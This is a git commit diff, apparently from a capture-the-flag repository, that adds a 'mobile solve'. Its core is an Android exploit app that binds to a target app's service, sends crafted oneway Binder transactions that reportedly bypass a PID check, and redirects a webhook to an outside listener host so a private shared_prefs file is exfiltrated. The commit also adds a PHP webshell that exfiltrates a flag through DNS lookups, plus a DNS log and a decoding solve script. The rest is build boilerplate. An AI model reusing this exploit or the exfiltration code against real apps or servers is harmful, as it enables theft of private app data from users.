mobile solve

This commit is contained in:
2026-03-20 23:13:46 +01:00
parent 2b1546aa4f
commit 587a6fae98
62 changed files with 712 additions and 328 deletions

View File

@@ -0,0 +1,34 @@
# Gradle files
.gradle/
build/
# Local configuration file (sdk path, etc)
local.properties
# Log/OS Files
*.log
# Android Studio generated files and folders
captures/
.externalNativeBuild/
.cxx/
*.aab
*.apk
output-metadata.json
# IntelliJ
*.iml
.idea/
misc.xml
deploymentTargetDropDown.xml
render.experimental.xml
# Keystore files
*.jks
*.keystore
# Google Services (e.g. APIs or Firebase)
google-services.json
# Android Profiling
*.hprof

View File

@@ -0,0 +1,46 @@
plugins {
alias(libs.plugins.android.application)
}
android {
namespace = "com.hacker.exploit"
compileSdk {
version = release(36) {
minorApiLevel = 1
}
}
defaultConfig {
applicationId = "com.hacker.exploit"
minSdk = 26
targetSdk = 36
versionCode = 1
versionName = "1.0"
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
isMinifyEnabled = false
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_11
targetCompatibility = JavaVersion.VERSION_11
}
}
dependencies {
implementation(libs.appcompat)
implementation(libs.material)
implementation(libs.activity)
implementation(libs.constraintlayout)
testImplementation(libs.junit)
androidTestImplementation(libs.ext.junit)
androidTestImplementation(libs.espresso.core)
}

View File

@@ -0,0 +1,26 @@
package com.hacker.exploit;
import android.content.Context;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.*;
/**
* Instrumented test, which will execute on an Android device.
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
@RunWith(AndroidJUnit4.class)
public class ExampleInstrumentedTest {
@Test
public void useAppContext() {
// Context of the app under test.
Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
assertEquals("com.hacker.exploit", appContext.getPackageName());
}
}

View File

@@ -2,6 +2,10 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<queries>
<package android:name="com.peaky.binders" />
</queries>
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
@@ -10,15 +14,13 @@
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.PeakyBlindersExploit">
android:theme="@style/Theme.ShelbyExploit"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true"
android:label="@string/app_name"
android:theme="@style/Theme.PeakyBlindersExploit">
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

View File

@@ -0,0 +1,94 @@
package com.hacker.exploit;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.util.Log;
public class MainActivity extends Activity {
private static final String TAG = "Exploit";
private IBinder peakyBinder;
private static final String WEBHOOK_URL = "http://listener.cato447.de";
private static final String TARGET_FILE = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Log.d(TAG, "Connected to PeakyService!");
peakyBinder = service;
// Run exploit in a background thread so we don't freeze the UI
new Thread(() -> runExploit()).start();
}
@Override
public void onServiceDisconnected(ComponentName name) {
Log.d(TAG, "Disconnected!");
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d(TAG, "Starting exploit app...");
Intent intent = new Intent();
intent.setClassName("com.peaky.binders", "com.peaky.binders.PeakyService");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
private void runExploit() {
try {
Log.d(TAG, "Overwriting Webhook URL...");
// 1. Overwrite Webhook URL
String WEBHOOK = "http://listener.cato447.de";
for (int i = 0; i < WEBHOOK.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(1 + i)) + ":" + WEBHOOK.charAt(i)).getBytes());
Thread.sleep(50);
}
// THE FIX: Leave it blank after the colon! v23 defaults to 0x00
sendOnewayTransaction(("PARTIAL:" + (-(1 + WEBHOOK.length())) + ":").getBytes());
// 2. Overwrite File Path
String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
for (int i = 0; i < TARGET.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(65 + i)) + ":" + TARGET.charAt(i)).getBytes());
Thread.sleep(50);
}
// THE FIX: Leave it blank after the colon! v23 defaults to 0x00
sendOnewayTransaction(("PARTIAL:" + (-(65 + TARGET.length())) + ":").getBytes());
// 3. Trigger Exfiltration
sendOnewayTransaction("FULL:0:X".getBytes());
// explicitly send a null byte
String fileNullPayload = "PARTIAL:" + -(65 + TARGET_FILE.length()) + ":\0";
sendOnewayTransaction(fileNullPayload.getBytes());
Log.d(TAG, "Triggering Exfiltration...");
// 3. Trigger the file read and HTTP POST
sendOnewayTransaction("FULL:0:X".getBytes());
Log.d(TAG, "Exploit sent! Check your webhook.");
} catch (Exception e) {
Log.e(TAG, "Exploit failed", e);
}
}
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
Parcel data = Parcel.obtain();
data.writeInterfaceToken("com.peaky.binders.IPeakyService");
data.writeByteArray(payload);
// 1 = TRANSACTION_DebugCheckFile
// 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check!)
peakyBinder.transact(1, data, null, 1);
data.recycle();
}
}

View File

@@ -0,0 +1,19 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/main"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,7 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Base.Theme.ShelbyExploit" parent="Theme.Material3.DayNight.NoActionBar">
<!-- Customize your dark theme here. -->
<!-- <item name="colorPrimary">@color/my_dark_primary</item> -->
</style>
</resources>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="black">#FF000000</color>
<color name="white">#FFFFFFFF</color>
</resources>

View File

@@ -0,0 +1,3 @@
<resources>
<string name="app_name">ShelbyExploit</string>
</resources>

View File

@@ -0,0 +1,9 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Base.Theme.ShelbyExploit" parent="Theme.Material3.DayNight.NoActionBar">
<!-- Customize your light theme here. -->
<!-- <item name="colorPrimary">@color/my_light_primary</item> -->
</style>
<style name="Theme.ShelbyExploit" parent="Base.Theme.ShelbyExploit" />
</resources>

View File

@@ -0,0 +1,17 @@
package com.hacker.exploit;
import org.junit.Test;
import static org.junit.Assert.*;
/**
* Example local unit test, which will execute on the development machine (host).
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
public class ExampleUnitTest {
@Test
public void addition_isCorrect() {
assertEquals(4, 2 + 2);
}
}

View File

@@ -1,5 +1,4 @@
// Top-level build file where you can add configuration options common to all sub-projects/modules.
plugins {
alias(libs.plugins.android.application) apply false
alias(libs.plugins.kotlin.compose) apply false
}

View File

@@ -11,5 +11,3 @@ org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
# This option should only be used with decoupled projects. For more details, visit
# https://developer.android.com/r/tools/gradle-multi-project-decoupled-projects
# org.gradle.parallel=true
# Kotlin code style for this project: "official" or "obsolete":
kotlin.code.style=official

View File

@@ -0,0 +1,12 @@
#This file is generated by updateDaemonJvm
toolchainUrl.FREE_BSD.AARCH64=https\://api.foojay.io/disco/v3.0/ids/ec7520a1e057cd116f9544c42142a16b/redirect
toolchainUrl.FREE_BSD.X86_64=https\://api.foojay.io/disco/v3.0/ids/4c4f879899012ff0a8b2e2117df03b0e/redirect
toolchainUrl.LINUX.AARCH64=https\://api.foojay.io/disco/v3.0/ids/ec7520a1e057cd116f9544c42142a16b/redirect
toolchainUrl.LINUX.X86_64=https\://api.foojay.io/disco/v3.0/ids/4c4f879899012ff0a8b2e2117df03b0e/redirect
toolchainUrl.MAC_OS.AARCH64=https\://api.foojay.io/disco/v3.0/ids/73bcfb608d1fde9fb62e462f834a3299/redirect
toolchainUrl.MAC_OS.X86_64=https\://api.foojay.io/disco/v3.0/ids/846ee0d876d26a26f37aa1ce8de73224/redirect
toolchainUrl.UNIX.AARCH64=https\://api.foojay.io/disco/v3.0/ids/ec7520a1e057cd116f9544c42142a16b/redirect
toolchainUrl.UNIX.X86_64=https\://api.foojay.io/disco/v3.0/ids/4c4f879899012ff0a8b2e2117df03b0e/redirect
toolchainUrl.WINDOWS.AARCH64=https\://api.foojay.io/disco/v3.0/ids/9482ddec596298c84656d31d16652665/redirect
toolchainUrl.WINDOWS.X86_64=https\://api.foojay.io/disco/v3.0/ids/39701d92e1756bb2f141eb67cd4c660e/redirect
toolchainVersion=21

View File

@@ -0,0 +1,22 @@
[versions]
agp = "9.1.0"
junit = "4.13.2"
junitVersion = "1.1.5"
espressoCore = "3.5.1"
appcompat = "1.6.1"
material = "1.10.0"
activity = "1.8.0"
constraintlayout = "2.1.4"
[libraries]
junit = { group = "junit", name = "junit", version.ref = "junit" }
ext-junit = { group = "androidx.test.ext", name = "junit", version.ref = "junitVersion" }
espresso-core = { group = "androidx.test.espresso", name = "espresso-core", version.ref = "espressoCore" }
appcompat = { group = "androidx.appcompat", name = "appcompat", version.ref = "appcompat" }
material = { group = "com.google.android.material", name = "material", version.ref = "material" }
activity = { group = "androidx.activity", name = "activity", version.ref = "activity" }
constraintlayout = { group = "androidx.constraintlayout", name = "constraintlayout", version.ref = "constraintlayout" }
[plugins]
android-application = { id = "com.android.application", version.ref = "agp" }

View File

@@ -1,4 +1,4 @@
#Fri Mar 20 20:01:17 CET 2026
#Fri Mar 20 22:06:18 CET 2026
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionSha256Sum=b266d5ff6b90eada6dc3b20cb090e3731302e553a27c5d3e4df1f0d76beaff06

View File

@@ -22,5 +22,5 @@ dependencyResolutionManagement {
}
}
rootProject.name = "PeakyBlindersExploit"
rootProject.name = "ShelbyExploit"
include(":app")

View File

@@ -1,15 +0,0 @@
*.iml
.gradle
/local.properties
/.idea/caches
/.idea/libraries
/.idea/modules.xml
/.idea/workspace.xml
/.idea/navEditor.xml
/.idea/assetWizardSettings.xml
.DS_Store
/build
/captures
.externalNativeBuild
.cxx
local.properties

View File

@@ -1,58 +0,0 @@
plugins {
alias(libs.plugins.android.application)
alias(libs.plugins.kotlin.compose)
}
android {
namespace = "com.example.peakyblindersexploit"
compileSdk {
version = release(36) {
minorApiLevel = 1
}
}
defaultConfig {
applicationId = "com.example.peakyblindersexploit"
minSdk = 24
targetSdk = 36
versionCode = 1
versionName = "1.0"
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
isMinifyEnabled = false
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_11
targetCompatibility = JavaVersion.VERSION_11
}
buildFeatures {
compose = true
}
}
dependencies {
implementation(libs.androidx.core.ktx)
implementation(libs.androidx.lifecycle.runtime.ktx)
implementation(libs.androidx.activity.compose)
implementation(platform(libs.androidx.compose.bom))
implementation(libs.androidx.compose.ui)
implementation(libs.androidx.compose.ui.graphics)
implementation(libs.androidx.compose.ui.tooling.preview)
implementation(libs.androidx.compose.material3)
testImplementation(libs.junit)
androidTestImplementation(libs.androidx.junit)
androidTestImplementation(libs.androidx.espresso.core)
androidTestImplementation(platform(libs.androidx.compose.bom))
androidTestImplementation(libs.androidx.compose.ui.test.junit4)
debugImplementation(libs.androidx.compose.ui.tooling)
debugImplementation(libs.androidx.compose.ui.test.manifest)
}

View File

@@ -1,24 +0,0 @@
package com.example.peakyblindersexploit
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.ext.junit.runners.AndroidJUnit4
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.Assert.*
/**
* Instrumented test, which will execute on an Android device.
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
@RunWith(AndroidJUnit4::class)
class ExampleInstrumentedTest {
@Test
fun useAppContext() {
// Context of the app under test.
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
assertEquals("com.example.peakyblindersexploit", appContext.packageName)
}
}

View File

@@ -1,4 +0,0 @@
package com.example.peakyblindersexploit
class AchievementReceiver {
}

View File

@@ -1,47 +0,0 @@
package com.example.peakyblindersexploit
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.padding
import androidx.compose.material3.Scaffold
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Modifier
import androidx.compose.ui.tooling.preview.Preview
import com.example.peakyblindersexploit.ui.theme.PeakyBlindersExploitTheme
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
setContent {
PeakyBlindersExploitTheme {
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
Greeting(
name = "Android",
modifier = Modifier.padding(innerPadding)
)
}
}
}
}
}
@Composable
fun Greeting(name: String, modifier: Modifier = Modifier) {
Text(
text = "Hello $name!",
modifier = modifier
)
}
@Preview(showBackground = true)
@Composable
fun GreetingPreview() {
PeakyBlindersExploitTheme {
Greeting("Android")
}
}

View File

@@ -1,11 +0,0 @@
package com.example.peakyblindersexploit.ui.theme
import androidx.compose.ui.graphics.Color
val Purple80 = Color(0xFFD0BCFF)
val PurpleGrey80 = Color(0xFFCCC2DC)
val Pink80 = Color(0xFFEFB8C8)
val Purple40 = Color(0xFF6650a4)
val PurpleGrey40 = Color(0xFF625b71)
val Pink40 = Color(0xFF7D5260)

View File

@@ -1,58 +0,0 @@
package com.example.peakyblindersexploit.ui.theme
import android.app.Activity
import android.os.Build
import androidx.compose.foundation.isSystemInDarkTheme
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.darkColorScheme
import androidx.compose.material3.dynamicDarkColorScheme
import androidx.compose.material3.dynamicLightColorScheme
import androidx.compose.material3.lightColorScheme
import androidx.compose.runtime.Composable
import androidx.compose.ui.platform.LocalContext
private val DarkColorScheme = darkColorScheme(
primary = Purple80,
secondary = PurpleGrey80,
tertiary = Pink80
)
private val LightColorScheme = lightColorScheme(
primary = Purple40,
secondary = PurpleGrey40,
tertiary = Pink40
/* Other default colors to override
background = Color(0xFFFFFBFE),
surface = Color(0xFFFFFBFE),
onPrimary = Color.White,
onSecondary = Color.White,
onTertiary = Color.White,
onBackground = Color(0xFF1C1B1F),
onSurface = Color(0xFF1C1B1F),
*/
)
@Composable
fun PeakyBlindersExploitTheme(
darkTheme: Boolean = isSystemInDarkTheme(),
// Dynamic color is available on Android 12+
dynamicColor: Boolean = true,
content: @Composable () -> Unit
) {
val colorScheme = when {
dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> {
val context = LocalContext.current
if (darkTheme) dynamicDarkColorScheme(context) else dynamicLightColorScheme(context)
}
darkTheme -> DarkColorScheme
else -> LightColorScheme
}
MaterialTheme(
colorScheme = colorScheme,
typography = Typography,
content = content
)
}

View File

@@ -1,34 +0,0 @@
package com.example.peakyblindersexploit.ui.theme
import androidx.compose.material3.Typography
import androidx.compose.ui.text.TextStyle
import androidx.compose.ui.text.font.FontFamily
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.unit.sp
// Set of Material typography styles to start with
val Typography = Typography(
bodyLarge = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Normal,
fontSize = 16.sp,
lineHeight = 24.sp,
letterSpacing = 0.5.sp
)
/* Other default text styles to override
titleLarge = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Normal,
fontSize = 22.sp,
lineHeight = 28.sp,
letterSpacing = 0.sp
),
labelSmall = TextStyle(
fontFamily = FontFamily.Default,
fontWeight = FontWeight.Medium,
fontSize = 11.sp,
lineHeight = 16.sp,
letterSpacing = 0.5.sp
)
*/
)

View File

@@ -1,10 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="purple_200">#FFBB86FC</color>
<color name="purple_500">#FF6200EE</color>
<color name="purple_700">#FF3700B3</color>
<color name="teal_200">#FF03DAC5</color>
<color name="teal_700">#FF018786</color>
<color name="black">#FF000000</color>
<color name="white">#FFFFFFFF</color>
</resources>

View File

@@ -1,3 +0,0 @@
<resources>
<string name="app_name">PeakyBlindersExploit</string>
</resources>

View File

@@ -1,5 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.PeakyBlindersExploit" parent="android:Theme.Material.Light.NoActionBar" />
</resources>

View File

@@ -1,17 +0,0 @@
package com.example.peakyblindersexploit
import org.junit.Test
import org.junit.Assert.*
/**
* Example local unit test, which will execute on the development machine (host).
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
class ExampleUnitTest {
@Test
fun addition_isCorrect() {
assertEquals(4, 2 + 2)
}
}

View File

@@ -1,31 +0,0 @@
[versions]
agp = "9.1.0"
coreKtx = "1.10.1"
junit = "4.13.2"
junitVersion = "1.1.5"
espressoCore = "3.5.1"
lifecycleRuntimeKtx = "2.6.1"
activityCompose = "1.8.0"
kotlin = "2.2.10"
composeBom = "2024.09.00"
[libraries]
androidx-core-ktx = { group = "androidx.core", name = "core-ktx", version.ref = "coreKtx" }
junit = { group = "junit", name = "junit", version.ref = "junit" }
androidx-junit = { group = "androidx.test.ext", name = "junit", version.ref = "junitVersion" }
androidx-espresso-core = { group = "androidx.test.espresso", name = "espresso-core", version.ref = "espressoCore" }
androidx-lifecycle-runtime-ktx = { group = "androidx.lifecycle", name = "lifecycle-runtime-ktx", version.ref = "lifecycleRuntimeKtx" }
androidx-activity-compose = { group = "androidx.activity", name = "activity-compose", version.ref = "activityCompose" }
androidx-compose-bom = { group = "androidx.compose", name = "compose-bom", version.ref = "composeBom" }
androidx-compose-ui = { group = "androidx.compose.ui", name = "ui" }
androidx-compose-ui-graphics = { group = "androidx.compose.ui", name = "ui-graphics" }
androidx-compose-ui-tooling = { group = "androidx.compose.ui", name = "ui-tooling" }
androidx-compose-ui-tooling-preview = { group = "androidx.compose.ui", name = "ui-tooling-preview" }
androidx-compose-ui-test-manifest = { group = "androidx.compose.ui", name = "ui-test-manifest" }
androidx-compose-ui-test-junit4 = { group = "androidx.compose.ui", name = "ui-test-junit4" }
androidx-compose-material3 = { group = "androidx.compose.material3", name = "material3" }
[plugins]
android-application = { id = "com.android.application", version.ref = "agp" }
kotlin-compose = { id = "org.jetbrains.kotlin.plugin.compose", version.ref = "kotlin" }

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,4 @@
DNS lookup of type A for the domain name lf42h9h2r5KlLjOq76Xl3ZVN1E75vVJK.oAsTIfy.com.
DNS lookup of type A for the domain name odLlOGewnJy0nWyW.523.lf42h9h2r5KlLjOq76Xl3ZVN1E75vVJK.oAsTIfy.com.
DNS lookup of type A for the domain name lf42H9H2R5kLljOq76xL3ZvN1e75vVJK.OAStIFY.coM.
DNS lookup of type A for the domain name Su5tE1QwdDRSBHLfBJn2zXjFAgFWcdNUzWQTAxjSLtfLodhjMtUzfq.190.lf42H9H2R5kLljOq76xL3ZvN1e75vVJK.OAStIFY.coM.

View File

@@ -0,0 +1,96 @@
#!/usr/bin/env python3
"""
Solve script for DNS 0x20 exfiltration challenge.
The webshell exfiltrates data via DNS by:
1. base64-encoding the content (with + and / replaced by -)
2. prepending a 3-char MD5 checksum
3. performing a DNS_A lookup for: {base64}.{checksum}.{attacker_domain}
DNS 0x20 encoding preserves the case of query labels in the response,
meaning the mixed-case payload in the DNS log IS the original base64.
However, intermediate resolvers may have corrupted some letter cases,
so we reconstruct the correct capitalisation by:
- splitting the payload into groups of 4 base64 characters
- trying all case variants per group
- keeping only variants that decode to printable ASCII
- finding the combination whose MD5[:3] matches the checksum in the log
"""
import base64
from hashlib import md5
from itertools import product
# ---------------------------------------------------------------------------
# Paste the data label and checksum from the 0x20-encoded DNS log entry here
# ---------------------------------------------------------------------------
PAYLOAD = "Su5tE1QwdDRSBHLfBJn2zXjFAgFWcdNUzWQTAxjSLtfLodhjMtUzfq"
CHECKSUM = "190" # first 3 hex chars of md5(flag)
# ---------------------------------------------------------------------------
def reverse_strtr(s: str) -> str:
"""The PHP replaces + and / with -. Reverse where possible (no-op if no dashes)."""
# If there are no dashes the base64 had neither + nor /, nothing to do.
# If there ARE dashes we'd need to try both — handled by the case-brute-force below.
return s
def case_variants(group: str):
"""Yield every capitalisation variant of a base64 group that decodes to printable ASCII."""
letter_positions = [(i, c) for i, c in enumerate(group) if c.isalpha()]
for bits in product([True, False], repeat=len(letter_positions)):
candidate = list(group)
for (idx, _), upper in zip(letter_positions, bits):
candidate[idx] = candidate[idx].upper() if upper else candidate[idx].lower()
s = "".join(candidate)
padding = "=" * ((4 - len(s) % 4) % 4)
try:
decoded = base64.b64decode(s + padding)
if all(32 <= b < 127 for b in decoded): # printable ASCII only
yield s, decoded
except Exception:
pass
def solve(payload: str, checksum: str) -> str:
payload = reverse_strtr(payload)
# Split into groups of 4 (standard base64 block size)
groups = [payload[i:i+4] for i in range(0, len(payload), 4)]
# Collect valid byte candidates for each group
group_candidates = []
for i, g in enumerate(groups):
cands = list(case_variants(g))
if not cands:
raise ValueError(f"No printable-ASCII candidate found for group {i} ({g!r})")
group_candidates.append([dec for _, dec in cands])
print(f" group[{i:02d}] {g!r:6s}{[dec for _, dec in cands]}")
print(f"\nSearching {' × '.join(str(len(c)) for c in group_candidates)} combinations "
f"for MD5[:3] == {checksum!r}\n")
# Enumerate combinations and check MD5 checksum
for combo in product(*group_candidates):
candidate_bytes = b"".join(combo)
if md5(candidate_bytes).hexdigest()[:3] == checksum:
return candidate_bytes.decode()
raise ValueError("No combination matched the checksum — check PAYLOAD / CHECKSUM values.")
if __name__ == "__main__":
print("=" * 60)
print("DNS 0x20 Exfiltration — Solve Script")
print("=" * 60)
print(f"Payload : {PAYLOAD}")
print(f"Checksum : {CHECKSUM}\n")
print("Candidate bytes per base64 group (printable ASCII filter):")
flag = solve(PAYLOAD, CHECKSUM)
print("=" * 60)
print(f"FLAG: {flag}")
print("=" * 60)

View File

@@ -0,0 +1,308 @@
<?php
$FLAG = file_get_contents('/tmp/flag');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header('Content-Type: application/json');
$input = json_decode(file_get_contents('php://input'), true);
$hostname = $input['hostname'] ?? '';
$type_cmd = $input['type'] ?? '';
if (!is_string($hostname) || empty($hostname) || !is_string($type_cmd) || empty($type_cmd)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid variable format']);
exit;
}
$sanitized_hostname = preg_replace('/[^a-zA-Z0-9.-]/', '', $hostname);
if (($sanitized_hostname !== $hostname || empty($sanitized_hostname)) || (!in_array($type_cmd, ['hostname', 'flag'], true))) {
http_response_code(400);
echo json_encode(['error' => 'Invalid variable format']);
exit;
}
if ($type_cmd === 'hostname') {
performDnsExfiltration(gethostname(), $sanitized_hostname);
} else if ($type_cmd === 'flag') {
performDnsExfiltration($FLAG, $sanitized_hostname);
}
echo json_encode(['success' => true]);
exit;
}
function performDnsExfiltration(string $content, string $hostname): bool {
try {
$checksum = substr(md5($content), 0, 3);
$value_b64 = rtrim(strtr(base64_encode($content), '+/', '--'), '=');
$query = "{$value_b64}.{$checksum}.{$hostname}";
# Perform the DNS exfiltration of the content and its checksum to the specific hostname
dns_get_record($query, DNS_A);
return true;
} catch (Exception $e) {
return false;
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebShell v2.1</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Courier New', 'Monaco', monospace;
background: #0a0a0a;
color: #00ff00;
min-height: 100vh;
padding: 20px;
overflow-x: hidden;
}
.terminal {
max-width: 900px;
margin: 0 auto;
background: #000000;
border: 2px solid #00ff00;
box-shadow: 0 0 20px rgba(0, 255, 0, 0.3);
padding: 20px;
}
.header {
border-bottom: 1px solid #00ff00;
padding-bottom: 10px;
margin-bottom: 20px;
}
.header h1 {
font-size: 18px;
color: #00ff00;
letter-spacing: 2px;
}
.header .info {
font-size: 12px;
color: #00cc00;
margin-top: 5px;
}
.ascii-art {
color: #00ff00;
font-size: 10px;
line-height: 1.2;
margin-bottom: 20px;
white-space: pre;
opacity: 0.7;
}
.command-section {
margin-bottom: 20px;
}
.prompt {
color: #00ff00;
margin-bottom: 5px;
font-size: 14px;
}
.prompt span {
color: #00cc00;
}
.input-row {
display: flex;
gap: 10px;
margin-bottom: 15px;
align-items: center;
}
.input-row::before {
content: ">";
color: #00ff00;
font-weight: bold;
}
input[type="text"] {
flex: 1;
background: #001100;
border: 1px solid #00ff00;
color: #00ff00;
padding: 10px 15px;
font-family: 'Courier New', monospace;
font-size: 14px;
outline: none;
}
input[type="text"]:focus {
background: #002200;
box-shadow: 0 0 10px rgba(0, 255, 0, 0.3);
}
input[type="text"]::placeholder {
color: #005500;
}
button {
background: #001100;
border: 2px solid #00ff00;
color: #00ff00;
padding: 10px 20px;
font-family: 'Courier New', monospace;
font-size: 13px;
cursor: pointer;
text-transform: uppercase;
letter-spacing: 1px;
transition: all 0.2s;
white-space: nowrap;
}
button:hover {
background: #00ff00;
color: #000000;
box-shadow: 0 0 15px rgba(0, 255, 0, 0.5);
}
button:active {
transform: scale(0.95);
}
.separator {
border-top: 1px dashed #00ff00;
margin: 20px 0;
opacity: 0.3;
}
.status {
position: fixed;
bottom: 20px;
right: 20px;
background: #000000;
border: 1px solid #00ff00;
padding: 5px 10px;
font-size: 10px;
color: #00ff00;
}
.blink {
animation: blink 1s infinite;
}
@keyframes blink {
0%, 49% { opacity: 1; }
50%, 100% { opacity: 0; }
}
.footer {
margin-top: 30px;
padding-top: 15px;
border-top: 1px solid #00ff00;
font-size: 11px;
color: #00cc00;
opacity: 0.5;
}
</style>
</head>
<body>
<div class="terminal">
<div class="header">
<h1>╔══════════════════════════╗</h1>
<h1>║ REMOTE ACCESS SHELL v2.1 ║</h1>
<h1>╚══════════════════════════╝</h1>
<div class="info">
[*] Connection established...<br>
[*] DNS exfiltration module loaded<br>
[*] Waiting for commands...
</div>
</div>
<div class="ascii-art">
___ _ _ ___
| __|| \/ ||_ _|
| _| | /\ | | |
|___||_||_||___|
</div>
<div class="command-section">
<div class="prompt"><span>[root@target]</span># extract_hostname -format base64 -addCheckSum</div>
<div class="input-row">
<input type="text" id="hostname" placeholder="target.domain.com">
<button onclick="extractHostname()">EXTRACT HOSTNAME</button>
</div>
</div>
<div class="separator"></div>
<div class="command-section">
<div class="prompt"><span>[root@target]</span># extract_flag -format base64 -addCheckSum</div>
<div class="input-row">
<input type="text" id="flag" placeholder="target.domain.com">
<button onclick="extractFlag()">EXTRACT FLAG</button>
</div>
</div>
<div class="footer">
<span class="blink">█</span> System ready | DNS resolver: active | Obfuscation: enabled
</div>
</div>
<div class="status">
<span class="blink">●</span> ONLINE
</div>
<script>
async function extractHostname() {
const hostname = document.getElementById('hostname').value.trim();
if (!hostname) {
return;
}
try {
await fetch('/', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
hostname: hostname,
type: 'hostname'
})
});
} catch (error) {
console.error('Error:', error);
}
}
async function extractFlag() {
const hostname = document.getElementById('flag').value.trim();
if (!hostname) {
return;
}
try {
await fetch('/', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
hostname: hostname,
type: 'flag'
})
});
} catch (error) {
console.error('Error:', error);
}
}
</script>
</body>
</html>